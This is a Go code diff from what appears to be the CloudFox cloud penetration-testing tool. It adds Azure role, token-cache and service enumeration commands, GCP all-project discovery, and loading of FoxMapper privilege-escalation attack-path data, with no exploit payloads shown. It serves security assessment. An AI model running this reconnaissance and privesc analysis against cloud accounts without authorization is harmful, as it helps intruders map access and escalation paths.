||||
|
||||
originalBaseURL, originalHTTPClient := graphBaseURL, graphHTTPClient
|
||||
graphBaseURL, graphHTTPClient = server.URL, server.Client()
|
||||
t.Cleanup(func() {
|
||||
graphBaseURL, graphHTTPClient = originalBaseURL, originalHTTPClient
|
||||
})
|
||||
|
||||
cred := &staticTokenCredential{token: unsignedTestToken(`{"oid":"caller-object-id","preferred_username":"[email protected]"}`)}
|
||||
claims, roles, err := getCallerEntraRoles(context.Background(), cred)
|
||||
if err != nil {
|
||||
t.Fatalf("getCallerEntraRoles returned an error: %v", err)
|
||||
}
|
||||
if cred.scope != microsoftGraphScope {
|
||||
t.Fatalf("requested scope %q, want %q", cred.scope, microsoftGraphScope)
|
||||
}
|
||||
if authorization != "Bearer "+cred.token {
|
||||
t.Fatalf("authorization header %q does not contain the Graph token", authorization)
|
||||
}
|
||||
if claims.ObjectID != "caller-object-id" || len(roles) != 1 || roles[0].DisplayName != "Global Reader" {
|
||||
t.Fatalf("unexpected claims or roles: claims=%+v roles=%+v", claims, roles)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDirectoryMembershipTypeSupportsGraphAndLegacyNames(t *testing.T) {
|
||||
tests := map[string]string{
|
||||
"#microsoft.graph.directoryRole": "Directory Role",
|
||||
"#Microsoft.DirectoryServices.DirectoryRole": "Directory Role",
|
||||
"#microsoft.graph.group": "Group",
|
||||
"#Microsoft.DirectoryServices.Group": "Group",
|
||||
"#Microsoft.DirectoryServices.AdministrativeUnit": "",
|
||||
}
|
||||
for odataType, want := range tests {
|
||||
if got := directoryMembershipType(odataType); got != want {
|
||||
t.Errorf("directoryMembershipType(%q) = %q, want %q", odataType, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetCallerEntraRolesGraphError(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusForbidden)
|
||||
_, _ = w.Write([]byte(`{"error":{"code":"Authorization_RequestDenied","message":"Insufficient privileges"}}`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
originalBaseURL, originalHTTPClient := graphBaseURL, graphHTTPClient
|
||||
graphBaseURL, graphHTTPClient = server.URL, server.Client()
|
||||
t.Cleanup(func() {
|
||||
graphBaseURL, graphHTTPClient = originalBaseURL, originalHTTPClient
|
||||
})
|
||||
|
||||
cred := &staticTokenCredential{token: unsignedTestToken(`{"oid":"caller-object-id"}`)}
|
||||
_, _, err := getCallerEntraRoles(context.Background(), cred)
|
||||
if err == nil || !strings.Contains(err.Error(), "Insufficient privileges") {
|
||||
t.Fatalf("expected a descriptive Graph permission error, got %v", err)
|
||||
}
|
||||
}
|
||||
+29
-5
@@ -9,14 +9,19 @@ import (
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
)
|
||||
|
||||
func TestAzWhoamiCommand(t *testing.T) {
|
||||
func TestAzTokenCacheCommand(t *testing.T) {
|
||||
fmt.Println()
|
||||
fmt.Println("[test case] Azure Whoami Command")
|
||||
fmt.Println("[test case] Azure Token Cache Command")
|
||||
|
||||
// Mocked functions to simulate Azure calls and responses
|
||||
getTenants = mockedGetTenants
|
||||
GetSubscriptions = mockedGetSubscriptions
|
||||
getResourceGroups = mockedGetResourceGroups
|
||||
t.Cleanup(func() {
|
||||
getTenants = getTenantsOriginal
|
||||
GetSubscriptions = getSubscriptionsOriginal
|
||||
getResourceGroups = getResourceGroupsOriginal
|
||||
})
|
||||
|
||||
// Test case parameters
|
||||
internal.MockFileSystem(true)
|
||||
@@ -29,7 +34,7 @@ func TestAzWhoamiCommand(t *testing.T) {
|
||||
azOutputDirectory string
|
||||
}{
|
||||
{
|
||||
name: "./cloudfox azure whoami",
|
||||
name: "./cloudfox azure tokencache",
|
||||
resourcesTestFile: "./test-data/resources.json",
|
||||
azExtendedFilter: false,
|
||||
version: "DEV",
|
||||
@@ -37,7 +42,7 @@ func TestAzWhoamiCommand(t *testing.T) {
|
||||
azOutputDirectory: "~/.cloudfox",
|
||||
},
|
||||
{
|
||||
name: "./cloudfox azure whoami --extended",
|
||||
name: "./cloudfox azure tokencache --list-rgs",
|
||||
resourcesTestFile: "./test-data/resources.json",
|
||||
azExtendedFilter: true,
|
||||
version: "DEV",
|
||||
@@ -49,7 +54,26 @@ func TestAzWhoamiCommand(t *testing.T) {
|
||||
globals.RESOURCES_TEST_FILE = s.resourcesTestFile
|
||||
fmt.Println()
|
||||
fmt.Printf("[subtest] %s\n", s.name)
|
||||
AzWhoamiCommand(s.azOutputDirectory, s.version, s.wrapTableOutput, 1, false)
|
||||
if err := AzTokenCacheCommand(s.azOutputDirectory, s.version, s.wrapTableOutput, 1, s.azExtendedFilter); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAzWhoamiCommand(t *testing.T) {
|
||||
originalEntra, originalRBAC := getWhoamiEntraRoles, getWhoamiAzureRBAC
|
||||
getWhoamiEntraRoles = func() ([]string, [][]string, []error) {
|
||||
return []string{"Tenant ID", "Membership"}, [][]string{{"tenant", "Global Reader"}}, nil
|
||||
}
|
||||
getWhoamiAzureRBAC = func() ([]string, [][]string, []error) {
|
||||
return []string{"Tenant ID", "Azure RBAC Role"}, [][]string{{"tenant", "Reader"}}, nil
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
getWhoamiEntraRoles = originalEntra
|
||||
getWhoamiAzureRBAC = originalRBAC
|
||||
})
|
||||
if err := AzWhoamiCommand("~/.cloudfox", "DEV", false, 1); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+15
-8
@@ -92,8 +92,9 @@ var (
|
||||
AWSUseCache bool
|
||||
AWSMFAToken string
|
||||
|
||||
Goroutines int
|
||||
Verbosity int
|
||||
Goroutines int
|
||||
Verbosity int
|
||||
AWSMaxRetries int
|
||||
|
||||
AWSCommands = &cobra.Command{
|
||||
Use: "aws",
|
||||
@@ -546,6 +547,9 @@ type OrgAccounts struct {
|
||||
func awsPreRun(cmd *cobra.Command, args []string) {
|
||||
gob.Register(&types.Organization{})
|
||||
|
||||
// Set the max retries before any AWS config loading happens
|
||||
internal.MaxRetries = AWSMaxRetries
|
||||
|
||||
// if multiple profiles were used, ensure the management account is first
|
||||
// if AWSProfilesList != "" || AWSAllProfiles {
|
||||
// AWSProfiles = FindOrgMgmtAccountAndReorderAccounts(AWSProfiles, cmd.Root().Version, AWSMFAToken)
|
||||
@@ -2252,6 +2256,7 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
PmapperDataBasePath: PmapperDataBasePath,
|
||||
}
|
||||
ec2UserData.Instances(InstancesFilter, AWSOutputDirectory, Verbosity)
|
||||
envsMod := aws.EnvsModule{
|
||||
@@ -2434,12 +2439,13 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
|
||||
roleTrusts.PrintRoleTrusts(AWSOutputDirectory, Verbosity)
|
||||
|
||||
pmapperCommand := aws.PmapperModule{
|
||||
Caller: *caller,
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
Caller: *caller,
|
||||
AWSProfile: profile,
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
AWSOutputType: AWSOutputType,
|
||||
AWSTableCols: AWSTableCols,
|
||||
PmapperDataBasePath: PmapperDataBasePath,
|
||||
}
|
||||
pmapperCommand.PrintPmapperData(AWSOutputDirectory, Verbosity)
|
||||
|
||||
@@ -2551,6 +2557,7 @@ func init() {
|
||||
AWSCommands.PersistentFlags().BoolVarP(&AWSUseCache, "cached", "c", false, "Load cached data from disk. Faster, but if changes have been recently made you'll miss them")
|
||||
AWSCommands.PersistentFlags().StringVarP(&AWSTableCols, "cols", "t", "", "Comma separated list of columns to display in table output")
|
||||
AWSCommands.PersistentFlags().StringVar(&AWSMFAToken, "mfa-token", "", "MFA Token")
|
||||
AWSCommands.PersistentFlags().IntVar(&AWSMaxRetries, "max-retries", 3, "Maximum number of AWS API retry attempts. Set to 0 for no retries (faster for black-box/limited-permission enumeration)")
|
||||
AWSCommands.PersistentFlags().StringVar(&PmapperDataBasePath, "pmapper-data-basepath", "", "Supply the base path for the pmapper data files (useful if you have copied them from another machine)\nPoint to the parent directory that contains all of the pmapper data by account numbers. \n\tExample: /path/to/com.nccgroup.principalmapper/\n\tExample: ./pmapperdata/")
|
||||
|
||||
AWSCommands.AddCommand(
|
||||
|
||||
+71
-12
@@ -1,12 +1,13 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"log"
|
||||
|
||||
"github.com/BishopFox/cloudfox/azure"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var azureLogger = internal.NewLogger()
|
||||
|
||||
var (
|
||||
AzTenantID string
|
||||
AzSubscription string
|
||||
@@ -26,18 +27,34 @@ var (
|
||||
cmd.Help()
|
||||
},
|
||||
}
|
||||
AzWhoamiListRGsAlso bool
|
||||
AzTokenCacheListRGs bool
|
||||
AzWhoamiCommand = &cobra.Command{
|
||||
Use: "whoami",
|
||||
Aliases: []string{},
|
||||
Short: "Display available Azure CLI sessions",
|
||||
Short: "Display the caller's Entra ID memberships and Azure RBAC assignments",
|
||||
Long: `
|
||||
Display Available Azure CLI Sessions:
|
||||
Display the caller's Entra ID memberships and Azure RBAC assignments:
|
||||
./cloudfox az whoami`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
err := azure.AzWhoamiCommand(AzOutputDirectory, cmd.Root().Version, AzWrapTable, AzVerbosity, AzWhoamiListRGsAlso)
|
||||
err := azure.AzWhoamiCommand(AzOutputDirectory, cmd.Root().Version, AzWrapTable, AzVerbosity)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
azureLogger.FatalM(err.Error(), "whoami")
|
||||
}
|
||||
},
|
||||
}
|
||||
AzTokenCacheCommand = &cobra.Command{
|
||||
Use: "tokencache",
|
||||
Aliases: []string{"token-cache"},
|
||||
Short: "Display available Azure CLI sessions",
|
||||
Long: `
|
||||
Display available Azure CLI tenants and subscriptions:
|
||||
./cloudfox az tokencache
|
||||
|
||||
Include resource groups:
|
||||
./cloudfox az tokencache --list-rgs`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if err := azure.AzTokenCacheCommand(AzOutputDirectory, cmd.Root().Version, AzWrapTable, AzVerbosity, AzTokenCacheListRGs); err != nil {
|
||||
azureLogger.FatalM(err.Error(), "tokencache")
|
||||
}
|
||||
},
|
||||
}
|
||||
@@ -55,7 +72,7 @@ Enumerate inventory for a specific subscription:
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
err := azure.AzInventoryCommand(AzTenantID, AzSubscription, AzOutputDirectory, cmd.Root().Version, AzVerbosity, AzWrapTable, AzMergedTable)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
azureLogger.FatalM(err.Error(), "inventory")
|
||||
}
|
||||
},
|
||||
}
|
||||
@@ -74,7 +91,7 @@ Enumerate role assignments for a specific subscription:
|
||||
|
||||
err := azure.AzRBACCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory, cmd.Root().Version, AzVerbosity, AzWrapTable, AzMergedTable)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
azureLogger.FatalM(err.Error(), "rbac")
|
||||
}
|
||||
},
|
||||
}
|
||||
@@ -91,7 +108,7 @@ Enumerate VMs for a specific subscription:
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
err := azure.AzVMsCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory, cmd.Root().Version, AzVerbosity, AzWrapTable, AzMergedTable)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
azureLogger.FatalM(err.Error(), "vms")
|
||||
}
|
||||
},
|
||||
}
|
||||
@@ -109,7 +126,45 @@ Enumerate storage accounts for a specific subscription:
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
err := azure.AzStorageCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory, cmd.Root().Version, AzVerbosity, AzWrapTable, AzMergedTable)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
azureLogger.FatalM(err.Error(), "storage")
|
||||
}
|
||||
},
|
||||
}
|
||||
AzACRCommand = &cobra.Command{
|
||||
Use: "acr",
|
||||
Aliases: []string{"container-registries"},
|
||||
Short: "Enumerates Azure Container Registries",
|
||||
Long: `
|
||||
Enumerate container registries for a specific tenant:
|
||||
./cloudfox az acr --tenant TENANT_ID
|
||||
|
||||
Enumerate container registries for a specific subscription:
|
||||
./cloudfox az acr --subscription SUBSCRIPTION_ID
|
||||
`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
err := azure.AzACRCommand(AzTenantID, AzSubscription, AzOutputDirectory, cmd.Root().Version, AzVerbosity, AzWrapTable, AzMergedTable)
|
||||
if err != nil {
|
||||
azureLogger.FatalM(err.Error(), "acr")
|
||||
}
|
||||
},
|
||||
}
|
||||
AzFuncCommand = &cobra.Command{
|
||||
Use: "func",
|
||||
Aliases: []string{"functions"},
|
||||
Short: "Enumerates Azure Function Apps and their configuration",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if err := azure.AzFuncCommand(AzTenantID, AzSubscription, AzOutputDirectory, cmd.Root().Version, AzVerbosity, AzWrapTable, AzMergedTable); err != nil {
|
||||
azureLogger.FatalM(err.Error(), "func")
|
||||
}
|
||||
},
|
||||
}
|
||||
AzAutomationCommand = &cobra.Command{
|
||||
Use: "automation",
|
||||
Aliases: []string{"automations"},
|
||||
Short: "Enumerates Azure Automation Accounts and their assets",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if err := azure.AzAutomationCommand(AzTenantID, AzSubscription, AzOutputDirectory, cmd.Root().Version, AzVerbosity, AzWrapTable, AzMergedTable); err != nil {
|
||||
azureLogger.FatalM(err.Error(), "automation")
|
||||
}
|
||||
},
|
||||
}
|
||||
@@ -117,7 +172,7 @@ Enumerate storage accounts for a specific subscription:
|
||||
|
||||
func init() {
|
||||
|
||||
AzWhoamiCommand.Flags().BoolVarP(&AzWhoamiListRGsAlso, "list-rgs", "l", false, "Drill down to the resource group level")
|
||||
AzTokenCacheCommand.Flags().BoolVarP(&AzTokenCacheListRGs, "list-rgs", "l", false, "Drill down to the resource group level")
|
||||
|
||||
// Global flags
|
||||
AzCommands.PersistentFlags().StringVarP(&AzOutputFormat, "output", "o", "all", "[\"table\" | \"csv\" | \"all\" ]")
|
||||
@@ -131,9 +186,13 @@ func init() {
|
||||
|
||||
AzCommands.AddCommand(
|
||||
AzWhoamiCommand,
|
||||
AzTokenCacheCommand,
|
||||
AzRBACCommand,
|
||||
AzVMsCommand,
|
||||
AzStorageCommand,
|
||||
AzACRCommand,
|
||||
AzFuncCommand,
|
||||
AzAutomationCommand,
|
||||
AzInventoryCommand)
|
||||
|
||||
}
|
||||
Regular → Executable
+512
-18
@@ -3,10 +3,14 @@ package cli
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/gcp/commands"
|
||||
oauthservice "github.com/BishopFox/cloudfox/gcp/services/oauthService"
|
||||
orgsservice "github.com/BishopFox/cloudfox/gcp/services/organizationsService"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -16,12 +20,20 @@ var (
|
||||
GCPProjectID string
|
||||
GCPProjectIDsFilePath string
|
||||
GCPProjectIDs []string
|
||||
GCPAllProjects bool
|
||||
|
||||
// Project name mapping (ProjectID -> DisplayName)
|
||||
GCPProjectNames map[string]string
|
||||
|
||||
// Output formatting options
|
||||
GCPOutputFormat string
|
||||
GCPOutputDirectory string
|
||||
GCPVerbosity int
|
||||
GCPWrapTable bool
|
||||
GCPFlatOutput bool
|
||||
|
||||
// Refresh cache flag - force re-enumeration even if cache exists
|
||||
GCPRefreshCache bool
|
||||
|
||||
// misc options
|
||||
// GCPIgnoreCache bool
|
||||
@@ -36,46 +48,442 @@ var (
|
||||
Long: `See "Available Commands" for GCP Modules below`,
|
||||
Short: "See \"Available Commands\" for GCP Modules below",
|
||||
PersistentPreRun: func(cmd *cobra.Command, args []string) {
|
||||
if GCPProjectID != "" {
|
||||
GCPProjectIDs = append(GCPProjectIDs, GCPProjectID)
|
||||
} else if GCPProjectIDsFilePath != "" {
|
||||
GCPProjectIDs = internal.LoadFileLinesIntoArray(GCPProjectIDsFilePath)
|
||||
} else {
|
||||
GCPLogger.InfoM("project or project-list flags not given, commands requiring a project ID will fail", "gcp")
|
||||
}
|
||||
// Create a context with this value to share it with subcommands at runtime
|
||||
ctx := context.WithValue(context.Background(), "projectIDs", GCPProjectIDs)
|
||||
// Reset project IDs and names to avoid accumulation across commands
|
||||
GCPProjectIDs = nil
|
||||
GCPProjectNames = make(map[string]string)
|
||||
|
||||
// Set the context for this command which all subcommands can access via [SUBCMD].Parent().Context()
|
||||
// cmd.SetContext(ctx)
|
||||
// Handle project discovery based on flags
|
||||
// Priority: -p (single project) > -l (project list) > -A (all projects)
|
||||
if GCPProjectID != "" {
|
||||
// Single project specified with -p/--project
|
||||
GCPProjectIDs = append(GCPProjectIDs, GCPProjectID)
|
||||
resolveProjectNames(GCPProjectIDs)
|
||||
} else if GCPProjectIDsFilePath != "" {
|
||||
// Project list specified with -l/--project-list
|
||||
rawProjectIDs := internal.LoadFileLinesIntoArray(GCPProjectIDsFilePath)
|
||||
GCPProjectIDs = deduplicateProjectIDs(rawProjectIDs)
|
||||
resolveProjectNames(GCPProjectIDs)
|
||||
} else if GCPAllProjects {
|
||||
// Discover all accessible projects with -A/--all-projects
|
||||
GCPLogger.InfoM("Discovering all accessible projects...", "gcp")
|
||||
orgsSvc := orgsservice.New()
|
||||
projects, err := orgsSvc.SearchProjects("")
|
||||
if err != nil {
|
||||
GCPLogger.FatalM(fmt.Sprintf("Failed to discover projects: %v. Try using -p or -l flags instead.", err), "gcp")
|
||||
}
|
||||
for _, proj := range projects {
|
||||
if proj.State == "ACTIVE" {
|
||||
GCPProjectIDs = append(GCPProjectIDs, proj.ProjectID)
|
||||
GCPProjectNames[proj.ProjectID] = proj.DisplayName
|
||||
}
|
||||
}
|
||||
if len(GCPProjectIDs) == 0 {
|
||||
GCPLogger.FatalM("No accessible projects found. Check your permissions.", "gcp")
|
||||
}
|
||||
GCPLogger.InfoM(fmt.Sprintf("Discovered %d project(s)", len(GCPProjectIDs)), "gcp")
|
||||
} else {
|
||||
GCPLogger.InfoM("No project scope specified. Use -p, -l, or -A flag.", "gcp")
|
||||
}
|
||||
|
||||
// Create a context with project IDs and names
|
||||
ctx := context.WithValue(context.Background(), "projectIDs", GCPProjectIDs)
|
||||
ctx = context.WithValue(ctx, "projectNames", GCPProjectNames)
|
||||
|
||||
// Authenticate and get account info
|
||||
os := oauthservice.NewOAuthService()
|
||||
principal, err := os.WhoAmI()
|
||||
if err != nil {
|
||||
GCPLogger.FatalM(fmt.Sprintf("could not determine default user credential with error %s. \n\nPlease use default application default credentials: https://cloud.google.com/docs/authentication/application-default-credentials", err.Error()), "gcp")
|
||||
GCPLogger.FatalM(fmt.Sprintf("could not determine default user credential with error %s.\n\nPlease use default application default credentials: https://cloud.google.com/docs/authentication/application-default-credentials\n\nTry: gcloud auth application-default login", err.Error()), "gcp")
|
||||
}
|
||||
ctx = context.WithValue(ctx, "account", principal.Email)
|
||||
|
||||
// Build scope hierarchy for hierarchical output (unless --flat-output is set)
|
||||
if !GCPFlatOutput && len(GCPProjectIDs) > 0 {
|
||||
GCPLogger.InfoM("Building scope hierarchy for hierarchical output...", "gcp")
|
||||
orgsSvc := orgsservice.New()
|
||||
provider := orgsservice.NewHierarchyProvider(orgsSvc)
|
||||
hierarchy, err := gcpinternal.BuildScopeHierarchy(GCPProjectIDs, provider)
|
||||
if err != nil {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Could not build hierarchy, using flat output: %v", err), "gcp")
|
||||
} else {
|
||||
ctx = context.WithValue(ctx, "hierarchy", hierarchy)
|
||||
// Log hierarchy summary
|
||||
if len(hierarchy.Organizations) > 0 {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Detected %d organization(s), %d project(s)", len(hierarchy.Organizations), len(hierarchy.Projects)), "gcp")
|
||||
} else {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Detected %d standalone project(s)", len(hierarchy.StandaloneProjs)), "gcp")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get account for cache operations
|
||||
account, _ := ctx.Value("account").(string)
|
||||
|
||||
// Always try to load FoxMapper data for attack path analysis
|
||||
// This allows individual modules to show the Attack Paths column
|
||||
if len(GCPProjectIDs) > 0 {
|
||||
// Get org ID from hierarchy if available (GCPOrganization flag may be empty)
|
||||
orgID := GCPOrganization
|
||||
if orgID == "" {
|
||||
if hierarchy, ok := ctx.Value("hierarchy").(*gcpinternal.ScopeHierarchy); ok && hierarchy != nil {
|
||||
if len(hierarchy.Organizations) > 0 {
|
||||
orgID = hierarchy.Organizations[0].ID
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foxMapperCache := gcpinternal.TryLoadFoxMapper(orgID, GCPProjectIDs)
|
||||
if foxMapperCache != nil && foxMapperCache.IsPopulated() {
|
||||
ctx = gcpinternal.SetFoxMapperCacheInContext(ctx, foxMapperCache)
|
||||
totalNodes, adminNodes, nodesWithPrivesc := foxMapperCache.GetStats()
|
||||
ageDays := foxMapperCache.GetDataAgeDays()
|
||||
|
||||
if ageDays >= 30 {
|
||||
GCPLogger.WarnM(fmt.Sprintf("FoxMapper data is %d days old - consider running 'foxmapper gcp graph create' to refresh",
|
||||
ageDays), "gcp")
|
||||
} else {
|
||||
GCPLogger.InfoM(fmt.Sprintf("FoxMapper data is %d days old", ageDays), "gcp")
|
||||
}
|
||||
GCPLogger.SuccessM(fmt.Sprintf("FoxMapper data loaded: %d principals, %d admins, %d with privesc",
|
||||
totalNodes, adminNodes, nodesWithPrivesc), "gcp")
|
||||
}
|
||||
}
|
||||
|
||||
// Always try to load org cache for cross-project analysis
|
||||
// Cache auto-refreshes after 24 hours
|
||||
// Force refresh when running the organizations command to ensure fresh data
|
||||
refreshCache := GCPRefreshCache || cmd.Name() == "organizations"
|
||||
orgCache := loadOrPopulateOrgCache(account, refreshCache)
|
||||
if orgCache != nil && orgCache.IsPopulated() {
|
||||
ctx = gcpinternal.SetOrgCacheInContext(ctx, orgCache)
|
||||
}
|
||||
|
||||
cmd.SetContext(ctx)
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
// deduplicateProjectIDs removes duplicates, trims whitespace, and filters empty entries
|
||||
func deduplicateProjectIDs(projectIDs []string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var result []string
|
||||
duplicateCount := 0
|
||||
|
||||
for _, id := range projectIDs {
|
||||
// Trim whitespace
|
||||
id = strings.TrimSpace(id)
|
||||
|
||||
// Skip empty lines
|
||||
if id == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Skip duplicates
|
||||
if seen[id] {
|
||||
duplicateCount++
|
||||
continue
|
||||
}
|
||||
|
||||
seen[id] = true
|
||||
result = append(result, id)
|
||||
}
|
||||
|
||||
if duplicateCount > 0 {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Removed %d duplicate project ID(s) from list", duplicateCount), "gcp")
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// resolveProjectNames fetches display names for given project IDs
|
||||
func resolveProjectNames(projectIDs []string) {
|
||||
if len(projectIDs) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
orgsSvc := orgsservice.New()
|
||||
// Fetch all accessible projects and build lookup map
|
||||
projects, err := orgsSvc.SearchProjects("")
|
||||
if err != nil {
|
||||
// Non-fatal: we can continue without display names
|
||||
GCPLogger.InfoM("Could not resolve project names, using project IDs only", "gcp")
|
||||
for _, id := range projectIDs {
|
||||
GCPProjectNames[id] = id // fallback to using ID as name
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Build lookup from fetched projects
|
||||
projectLookup := make(map[string]string)
|
||||
for _, proj := range projects {
|
||||
projectLookup[proj.ProjectID] = proj.DisplayName
|
||||
}
|
||||
|
||||
// Map our project IDs to names
|
||||
for _, id := range projectIDs {
|
||||
if name, ok := projectLookup[id]; ok {
|
||||
GCPProjectNames[id] = name
|
||||
} else {
|
||||
GCPProjectNames[id] = id // fallback to using ID as name
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// New RunAllGCPCommands function to execute all child commands
|
||||
var GCPAllChecksCommand = &cobra.Command{
|
||||
Use: "all-checks",
|
||||
Short: "Runs all available GCP commands",
|
||||
Long: `Executes all available GCP commands to collect and display information from all supported GCP services.`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
var executedModules []string
|
||||
startTime := time.Now()
|
||||
ctx := cmd.Context()
|
||||
account, _ := ctx.Value("account").(string)
|
||||
|
||||
// Set all-checks mode - individual modules will skip saving cache
|
||||
// (we'll save consolidated cache at the end)
|
||||
ctx = gcpinternal.SetAllChecksMode(ctx, true)
|
||||
cmd.SetContext(ctx)
|
||||
|
||||
// Load or populate org cache for cross-project modules
|
||||
existingOrgCache := gcpinternal.GetOrgCacheFromContext(ctx)
|
||||
if existingOrgCache == nil || !existingOrgCache.IsPopulated() {
|
||||
GCPLogger.InfoM("Loading/enumerating organization data for cross-project analysis...", "all-checks")
|
||||
orgCache := loadOrPopulateOrgCache(account, GCPRefreshCache)
|
||||
if orgCache != nil && orgCache.IsPopulated() {
|
||||
ctx = gcpinternal.SetOrgCacheInContext(ctx, orgCache)
|
||||
cmd.SetContext(ctx)
|
||||
}
|
||||
} else {
|
||||
orgs, folders, projects := existingOrgCache.GetStats()
|
||||
GCPLogger.InfoM(fmt.Sprintf("Using existing org cache: %d org(s), %d folder(s), %d project(s)", orgs, folders, projects), "all-checks")
|
||||
}
|
||||
|
||||
// Find the privesc command to run first
|
||||
var privescCmd *cobra.Command
|
||||
for _, childCmd := range GCPCommands.Commands() {
|
||||
if childCmd == cmd { // Skip the run-all command itself to avoid infinite recursion
|
||||
if childCmd.Use == "privesc" {
|
||||
privescCmd = childCmd
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// Run privesc command first (produces output) and load FoxMapper data for other modules
|
||||
if privescCmd != nil {
|
||||
GCPLogger.InfoM("Running privilege escalation analysis first...", "all-checks")
|
||||
privescCmd.Run(cmd, args)
|
||||
executedModules = append(executedModules, "privesc")
|
||||
|
||||
// After running privesc, try to load FoxMapper data for other modules
|
||||
existingFoxMapper := gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
if existingFoxMapper != nil && existingFoxMapper.IsPopulated() {
|
||||
totalNodes, adminNodes, nodesWithPrivesc := existingFoxMapper.GetStats()
|
||||
GCPLogger.InfoM(fmt.Sprintf("Using existing FoxMapper cache: %d principals, %d admins, %d with privesc", totalNodes, adminNodes, nodesWithPrivesc), "all-checks")
|
||||
} else {
|
||||
// Get org ID from org cache if available (GCPOrganization flag may be empty)
|
||||
orgID := GCPOrganization
|
||||
if orgID == "" {
|
||||
if orgCache := gcpinternal.GetOrgCacheFromContext(ctx); orgCache != nil && len(orgCache.Organizations) > 0 {
|
||||
orgID = orgCache.Organizations[0].ID
|
||||
}
|
||||
}
|
||||
|
||||
// Try to load FoxMapper data
|
||||
foxMapperCache := gcpinternal.TryLoadFoxMapper(orgID, GCPProjectIDs)
|
||||
if foxMapperCache != nil && foxMapperCache.IsPopulated() {
|
||||
ctx = gcpinternal.SetFoxMapperCacheInContext(ctx, foxMapperCache)
|
||||
cmd.SetContext(ctx)
|
||||
totalNodes, adminNodes, nodesWithPrivesc := foxMapperCache.GetStats()
|
||||
GCPLogger.SuccessM(fmt.Sprintf("FoxMapper data loaded: %d principals, %d admins, %d with privesc", totalNodes, adminNodes, nodesWithPrivesc), "all-checks")
|
||||
} else {
|
||||
GCPLogger.InfoM("No FoxMapper data found. Run 'foxmapper gcp graph create' for attack path analysis.", "all-checks")
|
||||
}
|
||||
}
|
||||
GCPLogger.InfoM("", "all-checks")
|
||||
}
|
||||
|
||||
// Modules excluded from all-checks (run separately, not part of standard enumeration)
|
||||
excludeFromAllChecks := map[string]bool{
|
||||
"privesc": true, // Already ran above
|
||||
"storage-enum": true, // Sensitive data enum modules (run separately)
|
||||
"logging-enum": true,
|
||||
"bigquery-enum": true,
|
||||
"bigtable-enum": true,
|
||||
"spanner-enum": true,
|
||||
}
|
||||
|
||||
// Count total modules to execute (excluding self, hidden, and excluded modules)
|
||||
var modulesToRun []*cobra.Command
|
||||
for _, childCmd := range GCPCommands.Commands() {
|
||||
if childCmd == cmd { // Skip the run-all command itself
|
||||
continue
|
||||
}
|
||||
|
||||
GCPLogger.InfoM(fmt.Sprintf("Running command: %s", childCmd.Use), "all-checks")
|
||||
childCmd.Run(cmd, args)
|
||||
if childCmd.Hidden { // Skip hidden commands
|
||||
continue
|
||||
}
|
||||
if excludeFromAllChecks[childCmd.Use] {
|
||||
continue
|
||||
}
|
||||
modulesToRun = append(modulesToRun, childCmd)
|
||||
}
|
||||
totalModules := len(modulesToRun)
|
||||
|
||||
